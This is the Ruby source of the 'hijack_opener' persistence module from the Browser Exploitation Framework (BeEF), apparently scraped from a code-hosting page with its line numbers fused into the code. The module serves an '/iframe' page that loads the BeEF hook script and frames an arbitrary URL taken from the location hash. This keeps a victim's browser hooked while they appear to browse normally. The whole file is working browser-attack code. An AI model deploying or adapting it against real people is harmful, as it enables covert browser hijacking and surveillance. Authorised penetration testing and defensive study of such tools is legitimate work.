Path: blob/master/modules/persistence/hijack_opener/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Hijack_opener < BeEF::Core::Command6def pre_send7config = BeEF::Core::Configuration.instance8hook_file = config.get('beef.http.hook_file')910src = '<html><head><title></title><style>body {padding:0;margin:0;border:0}</style></head>'11src << "<body><iframe id='iframe' style='width:100%;height:100%;margin:0;padding:0;border:0'></iframe>"12src << "<script src='#{hook_file}'></script>"13src << '<script>var url = window.location.hash.slice(1);'14src << 'if (url.match(/^https?:\/\//)) {'15src << 'document.title = url;'16src << 'document.getElementById("iframe").src = url;'17src << '}</script></body></html>'18BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(19'200',20{ 'Content-Type' => 'text/html' },21src,22'/iframe',23-124)25end2627def post_execute28save({ 'result' => @datastore['result'] })29end30end313233